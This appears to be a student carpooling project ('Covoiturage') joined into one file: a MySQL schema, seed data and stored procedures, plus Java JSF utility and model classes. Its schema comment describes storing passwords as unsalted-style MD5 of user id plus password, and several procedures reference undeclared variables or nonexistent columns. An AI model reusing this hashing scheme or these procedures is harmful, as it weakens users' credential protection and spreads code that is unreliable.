IN _address VARCHAR(255),
IN _latitude FLOAT(10,6),
IN _longitude FLOAT(10,6)
)
BEGIN
DECLARE __pos_id INT(11);
SELECT NULL INTO __pos_id;
IF _address IS NOT NULL THEN
SELECT pos_id INTO __pos_id FROM position_pos WHERE pos_address IS NOT NULL AND pos_address= _address;
END IF;
IF __pos_id IS NULL THEN
SELECT pos_id INTO __pos_id FROM position_pos WHERE pos_latitude= _latitude AND pos_longitude= _longitude;
END IF;
IF __pos_id IS NULL THEN
INSERT INTO position_pos (pos_id, pos_address, pos_latitude, pos_longitude) VALUES
(NULL, _address, _latitude, _longitude);
SELECT LAST_INSERT_ID() INTO __pos_id;
END IF;
SELECT * FROM position_pos WHERE pos_id = __pos_id;
END //
-- Store a new position in googlecache
DROP PROCEDURE IF EXISTS googlecache_create_or_update //
CREATE PROCEDURE googlecache_create_or_update (
IN _address VARCHAR(255),
IN _latitude FLOAT(10,6),
IN _longitude FLOAT(10,6)
)
BEGIN
INSERT INTO googlecache_gch (gch_id, gch_address, gch_latitude, gch_longitude) VALUES
(NULL, _address, _latitude, _longitude)
ON DUPLICATE KEY
UPDATE gch_latitude=_latitude, gch_longitude=_longitude;
END //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS googlecache_get_by_address //
CREATE PROCEDURE googlecache_get_by_address (
IN _address VARCHAR(255)
)
BEGIN
SELECT * FROM googlecache_gch WHERE gch_address = _address;
end //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS googlecache_get_by_coords //
CREATE PROCEDURE googlecache_get_by_coords (
IN _longitude FLOAT(10,6),
IN _latitude FLOAT(10,6)
)
BEGIN
SELECT * FROM googlecache_gch WHERE gch_longitude = _longitude AND gch_latitude = _latitude;
end //
DELIMITER ;
<file_sep>/Covoiturage/src/utilities/FacesUtil.java
package utilities;
import java.util.List;
import javax.faces.context.FacesContext;
import model.Route;
import model.User;
public class FacesUtil {
/**
* Cette fonction sert pour recuperer les beans stocket dans la session. le
* parametre name et de la forme "#{bean.attribut}"
*
* @param name
* @return "un objet selon le type de l'attribut de bean"
*
* Exemple :
*
* User utilisateur = (User)
* FacesUtil.getParameter("#{beansUser.user}");
*
*/
public static Object getParameter(String name) {
FacesContext fc = FacesContext.getCurrentInstance();
return (Object) fc.getApplication().getExpressionFactory()
.createValueExpression(fc.getELContext(), name, Object.class)
.getValue(fc.getELContext());
}
public static User getUser() {
FacesContext fc = FacesContext.getCurrentInstance();
if (fc == null) {
return null;
} else {
return (User) fc
.getApplication()
.getExpressionFactory()
.createValueExpression(fc.getELContext(),
"#{beansUser.user}", User.class)
.getValue(fc.getELContext());
}
}
public static void setUser(User usr) {
FacesContext fc = FacesContext.getCurrentInstance();
fc.getApplication()
.getExpressionFactory()
.createValueExpression(fc.getELContext(), "#{beansUser.user}",
User.class).setValue(fc.getELContext(), usr);
}
// public static void setRouteList(List<Route> routeList){
// FacesContext fc = FacesContext.getCurrentInstance();
//
// fc.getApplication()
// .getExpressionFactory()
// .createValueExpression(fc.getELContext(), "#{beansRoute.route_list}",
// List.class).setValue(fc.getELContext(), routeList);
// }
@SuppressWarnings("unchecked")
public static List<Route> getRouteList() {
FacesContext fc = FacesContext.getCurrentInstance();
return (List<Route>) fc
.getApplication()
.getExpressionFactory()
.createValueExpression(fc.getELContext(),
"#{beansRoute.route_list}", List.class)
.getValue(fc.getELContext());
}
public static Boolean getUserConnected() {
User utilisateur = FacesUtil.getUser();
if (utilisateur == null || utilisateur.getEmail() == null)
return false;
return true;
}
}
<file_sep>/Covoiturage/src/model/Google_cache.java
package model;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Hashtable;
public class Google_cache {
protected int id;
protected String address;
protected double latitude;
protected double longitude;
/**
* @return the id
*/
public int getId() {
return id;
}
/**
* @param id
* the id to set
*/
public void setId(int id) {
this.id = id;
}
/**
* @return the address
*/
public String getAddress() {
return address;
}
/**
* @param address
* the address to set
*/
public void setAddress(String address) {
this.address = address;
}
/**
* @return the latitude
*/
public double getLatitude() {
return latitude;
}
/**
* @param latitude
* the latitude to set
*/
public void setLatitude(double latitude) {
this.latitude = latitude;
}
/**
* @return the longitude)
*/
public double getLongitude() {
return longitude;
}
/**
* @param longitude
* the longitude to set
*/
public void setLongitude(double longitude) {
this.longitude = longitude;
}
/**
* @param id
* @param address
* @param latitude
* @param longitude
*/
public Google_cache(int id, String address, double latitude,
double longitude) {
super();
this.id = id;
this.address = address;
this.latitude = latitude;
this.longitude = longitude;
}
public Google_cache(int id) {
super();
this.id = id;
}
public Google_cache(Hashtable<String, String> sqlrow) {
super();
this.id = Integer.parseInt(sqlrow.get("gch_id"));
this.address = sqlrow.get("gch_address");
this.latitude = Double.parseDouble(sqlrow.get("gch_latitude"));
this.longitude = Double.parseDouble(sqlrow.get("gch_longitude"));
}
public Google_cache(ResultSet sqlrow) {
super();
try {
this.id = sqlrow.getInt("gch_id");
this.address = sqlrow.getString("gch_address");
this.latitude = (sqlrow.getDouble("gch_latitude"));
this.longitude = (sqlrow.getDouble("gch_longitude"));
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public Hashtable<String, Double> getCoordsAsHash() {
Hashtable<String, Double> result;
result = new Hashtable<String, Double>();
result.put("longitude", this.longitude);
result.put("latitude", this.latitude);
return result;
}
}
<file_sep>/Covoiturage/src/beans/HomeCtrl.java
package beans;
import model.User;
import utilities.FacesUtil;
public class HomeCtrl {
Boolean userConnected;
Boolean userNotConnected;
public Boolean getUserConnected() {
return FacesUtil.getUserConnected();
}
public void setUserConnected(Boolean userConnected) {
this.userConnected = userConnected;
}
public Boolean getUserNotConnected() {
User utilisateur = FacesUtil.getUser();
if(utilisateur == null || utilisateur.getEmail() == null)return true;
return false;
}
}
<file_sep>/Base de donnees/v2/simsv2.all.sql
-- sims SQL V2, Sprint 2
-- DROP DATABASES
-- From <NAME>
set foreign_key_checks = 0;
DROP VIEW IF EXISTS _view_user_usr;
DROP VIEW IF EXISTS _view_passager_psg;
DROP VIEW IF EXISTS _view_route_rte;
DROP TABLE IF EXISTS segment_seg;
DROP TABLE IF EXISTS _passager_type_pgt;
DROP TABLE IF EXISTS comment_cmn;
DROP TABLE IF EXISTS googlecache_gch;
DROP TABLE IF EXISTS passager_psg;
DROP TABLE IF EXISTS user_fav_pos_ufp;
DROP TABLE IF EXISTS route_rte;
DROP TABLE IF EXISTS _route_type_rtp;
DROP TABLE IF EXISTS car_car;
DROP TABLE IF EXISTS position_pos;
DROP TABLE IF EXISTS usr_crt;
DROP TABLE IF EXISTS user_usr;
DROP TABLE IF EXISTS crt_crt;
DROP TABLE IF EXISTS _criterion_crt;
DROP TABLE IF EXISTS _criterion_type_ctt;
set foreign_key_checks = 1;-- TODO constraint for criterion
-- sims SQL V2, Sprint 2
-- From <NAME>
CREATE TABLE IF NOT EXISTS _criterion_type_ctt (
ctt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
ctt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
INDEX(ctt_label)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _criterion_crt (
crt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
crt_type INT(11) NOT NULL,
crt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
crt_root_criterion INT(11) NULL DEFAULT NULL COMMENT 'Father, used for arborescence criterions. NULL for root element',
crt_order INT(11) NOT NULL DEFAULT 1,
INDEX(crt_type),
INDEX(crt_root_criterion),
INDEX(crt_label),
INDEX(crt_order)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- Table de cache permettant de faire des recherches arborescentes plus facilement
CREATE TABLE IF NOT EXISTS crt_crt (
crt_container INT(11) NOT NULL,
crt_contained INT(11) NOT NULL,
PRIMARY KEY (crt_container, crt_contained),
INDEX(crt_container),
INDEX(crt_contained)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS user_usr (
usr_id INT(11) PRIMARY KEY AUTO_INCREMENT,
usr_firstname VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '',
usr_lastname VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '' ,
usr_email VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'email is login',
usr_password VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'password is md5(concat(usr_id,password_clear))' ,
usr_current_position INT(11) NULL DEFAULT NULL,
usr_genre ENUM('male','female') NOT NULL,
usr_birthdate BIGINT(20) NULL DEFAULT NULL,
usr_description TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
usr_mobilphone VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '' ,
-- usr_reputation INT(11) NOT NULL,
usr_note INT(2) NULL DEFAULT NULL COMMENT 'Member review average of this member, null for none',
usr_registrationdate BIGINT(20) NOT NULL DEFAULT 0,
usr_lastlogindate BIGINT(20) NOT NULL DEFAULT 0,
UNIQUE(usr_email),
INDEX(usr_current_position)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS usr_crt (
usr_id INT(11) NOT NULL,
crt_id INT(11) NOT NULL,
PRIMARY KEY(usr_id, crt_id),
INDEX(usr_id),
INDEX(crt_id)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS position_pos (
pos_id INT(11) PRIMARY KEY AUTO_INCREMENT,
pos_address VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,
pos_latitude FLOAT(10,6) NOT NULL,
pos_longitude FLOAT(10,6) NOT NULL,
INDEX(pos_latitude),
INDEX(pos_longitude),
INDEX(pos_address)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS car_car (
car_id INT(11) PRIMARY KEY AUTO_INCREMENT,
car_name VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
car_seat INT(2) NULL DEFAULT NULL,
car_owner INT(11) NOT NULL,
INDEX(car_owner)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _route_type_rtp (
rtp_id INT(11) PRIMARY KEY AUTO_INCREMENT,
rtp_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
INDEX(rtp_label)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS route_rte (
rte_id INT(11) PRIMARY KEY AUTO_INCREMENT,
rte_type INT(11) NOT NULL COMMENT 'Type of traject : I want one or I propose one',
rte_pos_begin INT(11) NOT NULL,
rte_pos_end INT(11) NOT NULL,
rte_date_begin BIGINT(20) NOT NULL,
rte_date_end BIGINT(20) NULL DEFAULT NULL,
rte_comment TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'textual comment of the owner about the route' ,
rte_owner INT(11) NOT NULL COMMENT 'Proprietaire du trajet',
rte_seat INT(2) NULL DEFAULT NULL COMMENT 'Number of seat needed / proposed. NULL <=> not set',
rte_car INT(11) NULL DEFAULT NULL COMMENT 'Optional - Car used for this traject',
rte_deletedate BIGINT(20) NULL DEFAULT NULL COMMENT 'Delete date, null if this route is not deleted',
rte_price FLOAT(10,2) NULL DEFAULT NULL,
INDEX(rte_type),
INDEX(rte_pos_begin),
INDEX(rte_pos_end),
INDEX(rte_date_begin),
INDEX(rte_date_end),
INDEX(rte_owner),
INDEX(rte_seat),
INDEX(rte_car)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS user_fav_pos_ufp (
ufp_id INT(11) PRIMARY KEY AUTO_INCREMENT,
ufp_user INT(11) NOT NULL,
ufp_position INT(11) NOT NULL,
ufp_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
INDEX(ufp_user),
INDEX(ufp_position)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _passager_type_pgt (
pgt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
pgt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS passager_psg (
psg_id INT(11) PRIMARY KEY AUTO_INCREMENT,
psg_route INT(11) NOT NULL,
psg_user INT(11) NOT NULL,
psg_type INT(11) NOT NULL,
psg_askdate BIGINT(20) NOT NULL COMMENT 'Date de la demande',
psg_pos_begin INT(11) NOT NULL,
psg_pos_end INT(11) NOT NULL,
INDEX(psg_route),
INDEX(psg_user),
INDEX(psg_type),
INDEX(psg_askdate),
INDEX(psg_pos_begin),
INDEX(psg_pos_end)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS googlecache_gch (
gch_id INT(11) PRIMARY KEY AUTO_INCREMENT,
gch_address VARCHAR(255) NULL DEFAULT NULL,
gch_latitude FLOAT(10,6) NULL DEFAULT NULL,
gch_longitude FLOAT(10,6) NULL DEFAULT NULL,
INDEX(gch_latitude),
INDEX(gch_longitude),
INDEX(gch_address)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS comment_cmn (
cmn_id INT(11) PRIMARY KEY AUTO_INCREMENT,
cmn_user_from INT(11) NOT NULL,
cmn_user_to INT(11) NOT NULL,
cmn_comment_text TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT 'Textual comment about the owner' ,
cmn_comment_note INT(2) NULL DEFAULT NULL COMMENT 'A value between 1-5 to evaluate the conductor',
INDEX(cmn_user_from),
INDEX(cmn_user_to),
INDEX(cmn_comment_note)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE segment_seg (
seg_id INT(11) PRIMARY KEY AUTO_INCREMENT,
seg_route INT(11) NOT NULL,
seg_pos_begin INT(11) NOT NULL,
seg_pos_end INT(11) NOT NULL,
seg_duration INT(11) NOT NULL COMMENT 'duration of this portion in second',
seg_date_begin BIGINT(20) NOT NULL DEFAULT 0,
seg_order INT(11) NOT NULL DEFAULT 0,
INDEX(seg_route),
INDEX(seg_pos_begin),
INDEX(seg_pos_end),
INDEX(seg_date_begin),
INDEX(seg_order)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE VIEW _view_user_usr AS (SELECT usr_id,usr_firstname, usr_lastname,usr_email,usr_password, usr_current_position ,usr_genre, FROM_UNIXTIME(usr_birthdate) AS usr_birthdate,usr_description,usr_mobilphone,usr_note, FROM_UNIXTIME(usr_registrationdate) AS usr_registrationdate,FROM_UNIXTIME(usr_lastlogindate) AS usr_lastlogindate FROM user_usr);
CREATE VIEW _view_passager_psg AS (SELECT psg_id, psg_route, psg_user, psg_type, FROM_UNIXTIME(psg_askdate) AS psg_askdate FROM passager_psg);
CREATE VIEW _view_route_rte AS ( SELECT
rte_id,
rte_type,
rte_pos_begin,
rte_pos_end,
FROM_UNIXTIME(rte_date_begin) AS rte_date_begin,
FROM_UNIXTIME(rte_date_end) AS rte_date_end,
rte_comment,
rte_owner,
rte_seat,
rte_car,
FROM_UNIXTIME(rte_deletedate) AS rte_deletedate,
rte_price FROM route_rte);
ALTER TABLE user_usr
ADD CONSTRAINT usr_ufp_constraint FOREIGN KEY (usr_current_position) REFERENCES user_fav_pos_ufp (ufp_id);
ALTER TABLE car_car
ADD CONSTRAINT car_owner_constraint FOREIGN KEY (car_owner) REFERENCES user_usr (usr_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_rte_type_contraint FOREIGN KEY (rte_type) REFERENCES _route_type_rtp(rtp_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_pos_begin_constraint FOREIGN KEY (rte_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_pos_end_constraint FOREIGN KEY (rte_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_owner_constraint FOREIGN KEY (rte_owner) REFERENCES user_usr (usr_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_car_constraint FOREIGN KEY (rte_car) REFERENCES car_car (car_id);
ALTER TABLE user_fav_pos_ufp
ADD CONSTRAINT user_fav_user_constraint FOREIGN KEY (ufp_user) REFERENCES user_usr (usr_id);
ALTER TABLE user_fav_pos_ufp
ADD CONSTRAINT user_fav_position_constraint FOREIGN KEY (ufp_position) REFERENCES position_pos(pos_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_route_constraint FOREIGN KEY (psg_route) REFERENCES route_rte (rte_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_user_constraint FOREIGN KEY (psg_user) REFERENCES user_usr (usr_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_pos_begin_constraint FOREIGN KEY (psg_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_pos_end_constraint FOREIGN KEY (psg_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE comment_cmn
ADD CONSTRAINT comment_user_from_constraint FOREIGN KEY (cmn_user_from) REFERENCES user_usr (usr_id);
ALTER TABLE comment_cmn
ADD CONSTRAINT comment_user_to_constraint FOREIGN KEY (cmn_user_to) REFERENCES user_usr (usr_id);
ALTER TABLE _criterion_crt
ADD CONSTRAINT criterion_type_constraint FOREIGN KEY (crt_type) REFERENCES _criterion_type_ctt (ctt_id);
ALTER TABLE _criterion_crt
ADD CONSTRAINT criterion_root_constraint FOREIGN KEY (crt_root_criterion) REFERENCES _criterion_crt (crt_id);
ALTER TABLE crt_crt
ADD CONSTRAINT crt_crt_container_constraint FOREIGN KEY (crt_container) REFERENCES _criterion_crt (crt_id);
ALTER TABLE crt_crt
ADD CONSTRAINT crt_crt_contained_constraint FOREIGN KEY (crt_contained) REFERENCES _criterion_crt (crt_id);
ALTER TABLE usr_crt
ADD CONSTRAINT usr_crt_user_constraint FOREIGN KEY (usr_id) REFERENCES user_usr (usr_id);
ALTER TABLE usr_crt
ADD CONSTRAINT usr_crt_criterion_constraint FOREIGN KEY (crt_id) REFERENCES _criterion_crt (crt_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_type_constraint FOREIGN KEY (psg_type) REFERENCES _passager_type_pgt (pgt_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_pos_begin_constraint FOREIGN KEY (seg_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_pos_end_constraint FOREIGN KEY (seg_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_route_constraint FOREIGN KEY (seg_route) REFERENCES route_rte (rte_id);
-- sims SQL V2, Sprint 2
-- MINIMAL INSERT
-- From <NAME>
INSERT IGNORE INTO _route_type_rtp (rtp_id, rtp_label) VALUES
(1, 'WantCar'),
(2,'ProvideCar');
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(1, 'Preference');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(1, 1, 'Trip in family', NULL, 1) ,
(2, 1, 'Hide my infos', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(2, 'Preference_music');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(3, 2, 'Preference_music_yes', NULL, 1) ,
(4, 2, 'Preference_music_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(3, 'Preference_smoke');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(5, 3, 'Preference_smoke_yes', NULL, 1) ,
(6, 3, 'Preference_smoke_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(4, 'Preference_animal');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(7, 4, 'Preference_animal_yes', NULL, 1) ,
(8, 4, 'Preference_animal_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(5, 'Preference_talking');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(9, 5, 'Preference_talking_discret', NULL, 1) ,
(10, 5, 'Preference_talking_normal', NULL, 1),
(11, 5, 'Preference_talking_passionate', NULL, 1);
INSERT IGNORE INTO _passager_type_pgt (pgt_id, pgt_label) VALUES
(1, 'Accepted'),
(2, 'Rejected'),
(3, 'Pending');
INSERT IGNORE INTO user_usr (
`usr_id` ,
`usr_firstname` ,
`usr_lastname` ,
`usr_email` ,
`usr_password` ,
`usr_current_position` ,
`usr_genre` ,
`usr_birthdate` ,
`usr_description` ,
`usr_mobilphone` ,
`usr_note` ,
`usr_registrationdate` ,
`usr_lastlogindate`
)
VALUES (
'1', '', '', '<EMAIL>', 'lksdkfkljqsdhflqshfjsdqlkj', NULL , 'male', '1999', 'descr', '', NULL , '0', '0'
);
-- sims SQL V2, Sprint 2
-- Procedures stokes, route
-- From <NAME>
DELIMITER //
DROP PROCEDURE IF EXISTS comment_create_or_update //
CREATE PROCEDURE comment_create_or_update (
IN _cmn_user_from INT(11),
IN _cmn_user_to INT(11),
IN _cmn_text TEXT,
IN _cmn_note INT(11)
)
BEGIN
DECLARE __cmn_id INT(11);
INSERT INTO comment_cmn(
cmn_id,
cmn_user_from,
cmn_user_to,
cmn_text,
cmn_note
) VALUES (
NULL,
_cmn_user_from,
_cmn_user_to,
_cmn_text,
_cmn_note
) ON DUPLICATE KEY UPDATE cmn_text = _cmn_text, cmn_note = _cmn_note;
SELECT cmn_id INTO __cmn_id FROM comment_cmn WHERE cmn_user_from = _cmn_user_from AND cmn_user_to = _cmn_user_to;
call _comment_update_note_of_user(_cmn_user_to);
SELECT * FROM comment_cmn WHERE cmn_id=__cmn_id;
END //
DROP PROCEDURE IF EXISTS _comment_update_note_of_user //
CREATE PROCEDURE _comment_update_note_of_user (
IN _usr_id INT(11)
)
BEGIN
DECLARE __avg_float DOUBLE;
SELECT AVG(cmn_note) INTO __avg_float
FROM comment_cmn
WHERE cmn_user_to = _usr_id
AND cmn_note IS NOT NULL
AND cmn_note <> 0;
UPDATE user_usr SET usr_note = ROUND(__avg) WHERE usr_id = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_posted_by //
CREATE PROCEDURE comment_get_posted_by (
IN _usr_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_from = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_posted_about //
CREATE PROCEDURE comment_get_posted_about (
IN _usr_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_to = _usr_id;
END //
DROP PROCEDURE IF EXISTS comment_get_from_and_about //
CREATE PROCEDURE comment_get_from_and_about (
IN _user_from_id INT(11),
IN _user_to_id INT(11)
)
BEGIN
SELECT * FROM comment_cmn WHERE cmn_user_from = _user_from_id AND cmn_user_to = _user_to_id;
END //
DROP PROCEDURE IF EXISTS comment_delete //
CREATE PROCEDURE comment_delete (
IN _cmn_id INT(11)
)
BEGIN
DECLARE __cmn_user_to INT(11);
SELECT cmn_user_to INTO __cmn_user_to FROM comment_cmn WHERE cmn_id = _cmn_id;
DELETE FROM comment_cmn WHERE cmn_id = _cmn_id;
call _comment_update_note_of_user(__cmn_user_to);
END //
DELIMITER ;
-- sims SQL V2, Sprint 2
-- Procedures stokes
-- From <NAME>
DELIMITER //
DROP PROCEDURE IF EXISTS _criterion_update_crt_crt //
CREATE PROCEDURE _criterion_update_crt_crt ()
BEGIN
DECLARE done INT DEFAULT 0;
DECLARE __crt_id INT(11);
DECLARE __crt_root_criterion INT(11);
DECLARE cur1 CURSOR FOR SELECT crt_id FROM _criterion_crt;
DECLARE cur2 CURSOR FOR SELECT crt_id, crt_root_criterion FROM _criterion_crt WHERE crt_root_criterion IS NOT NULL ;
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1;
OPEN cur2;
TRUNCATE TABLE crt_crt;
OPEN cur1;
read_loop: LOOP
FETCH cur1 INTO __crt_id;
IF done THEN
LEAVE read_loop;
END IF;
INSERT INTO crt_crt (crt_container, crt_contained) VALUES (__crt_id, __crt_id);
END LOOP;
CLOSE cur1;
OPEN cur2;
read_loop2: LOOP
FETCH cur2 INTO __crt_id, __crt_root_criterion ;
IF done THEN
LEAVE read_loop2;
END IF;
INSERT INTO crt_crt (crt_container, crt_contained) VALUES (__crt_root_criterion, __crt_id);
END LOOP;
CLOSE cur1;
end //
DROP PROCEDURE IF EXISTS get_criterions_of_user //
CREATE PROCEDURE get_criterions_of_user (
IN _usr_id INT(11)
)
BEGIN
SELECT crt.*
FROM usr_crt uc
INNER JOIN _criterion_crt crt ON uc.crt_id = crt.crt_id
WHERE uc.usr_id = _usr_id
ORDER BY crt_order;
END //
DROP PROCEDURE IF EXISTS get_criterions_of_user_of_type //
CREATE PROCEDURE get_criterions_of_user_of_type (
IN _usr_id INT(11),
IN _ctt_id INT(11)
)
BEGIN
SELECT crt.*
FROM usr_crt uc
INNER JOIN _criterion_crt crt ON uc.crt_id = crt.crt_id
WHERE uc.usr_id = _usr_id
AND crt.crt_type = _ctt_id
ORDER BY crt_order;
END //
DELIMITER ;
-- sims SQL V2, Sprint 2
-- Procedures stokes - position
-- From <NAME>
DELIMITER //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS position_get_by_address //
CREATE PROCEDURE position_get_by_address (
IN _address VARCHAR(255)
)
BEGIN
DECLARE __pos_id INT(11);
call _position_get_by_address(_address,__pos_id);
SELECT * FROM position_pos WHERE pos_id=__pos_id;
end //
-- Return position id of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS _position_get_by_address //
CREATE PROCEDURE _position_get_by_address (
IN _address VARCHAR(255),
OUT _pos_id INT(11)
)
BEGIN
SELECT pos_id INTO _pos_id FROM position_pos WHERE pos_address = _address LIMIT 1;
end //
-- Store a new position
DROP PROCEDURE IF EXISTS position_create_or_update //
CREATE PROCEDURE position_create_or_update (
IN _address VARCHAR(255),
IN _latitude FLOAT(10,6),
IN _longitude FLOAT(10,6)
)
BEGIN
DECLARE __pos_id INT(11);
SELECT NULL INTO __pos_id;
IF _address IS NOT NULL THEN
SELECT pos_id INTO __pos_id FROM position_pos WHERE pos_address IS NOT NULL AND pos_address= _address;
END IF;
IF __pos_id IS NULL THEN
SELECT pos_id INTO __pos_id FROM position_pos WHERE pos_latitude= _latitude AND pos_longitude= _longitude;
END IF;
IF __pos_id IS NULL THEN
INSERT INTO position_pos (pos_id, pos_address, pos_latitude, pos_longitude) VALUES
(NULL, _address, _latitude, _longitude);
SELECT LAST_INSERT_ID() INTO __pos_id;
END IF;
SELECT * FROM position_pos WHERE pos_id = __pos_id;
END //
-- Store a new position in googlecache
DROP PROCEDURE IF EXISTS googlecache_create_or_update //
CREATE PROCEDURE googlecache_create_or_update (
IN _address VARCHAR(255),
IN _latitude FLOAT(10,6),
IN _longitude FLOAT(10,6)
)
BEGIN
INSERT INTO googlecache_gch (gch_id, gch_address, gch_latitude, gch_longitude) VALUES
(NULL, _address, _latitude, _longitude)
ON DUPLICATE KEY
UPDATE gch_latitude=_latitude, gch_longitude=_longitude;
END //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS googlecache_get_by_address //
CREATE PROCEDURE googlecache_get_by_address (
IN _address VARCHAR(255)
)
BEGIN
SELECT * FROM googlecache_gch WHERE gch_address = _address;
end //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS googlecache_get_by_coords //
CREATE PROCEDURE googlecache_get_by_coords (
IN _longitude FLOAT(10,6),
IN _latitude FLOAT(10,6)
)
BEGIN
SELECT * FROM googlecache_gch WHERE gch_longitude = _longitude AND gch_latitude = _latitude;
end //
DELIMITER ;
-- sims SQL V2, Sprint 2
-- Procedures stokes, route
-- From <NAME>
DELIMITER //
-- Return user_id of associated user or null if not
DROP PROCEDURE IF EXISTS route_create //
CREATE PROCEDURE route_create (
IN _rte_type INT(11),
IN _rte_pos_begin INT(11),
IN _rte_pos_end INT(11),
IN _rte_date_begin INT(11),
IN _rte_date_end INT(11),
IN _rte_comment TEXT,
IN _rte_owner INT(11),
IN _rte_seat INT(2),
IN _rte_car INT(11)
)
BEGIN
DECLARE __rte_id INT(11);
call _route_create(_rte_type,
_rte_pos_begin,
_rte_pos_end,
_rte_date_begin,
_rte_date_end,
_rte_comment,
_rte_owner,
_rte_seat,
_rte_car,
__rte_id
);
SELECT * FROM route_rte WHERE rte_id=__rte_id;
END //
DROP PROCEDURE IF EXISTS _route_create //
CREATE PROCEDURE _route_create (
IN _rte_type INT(11),
IN _rte_pos_begin INT(11),
IN _rte_pos_end INT(11),
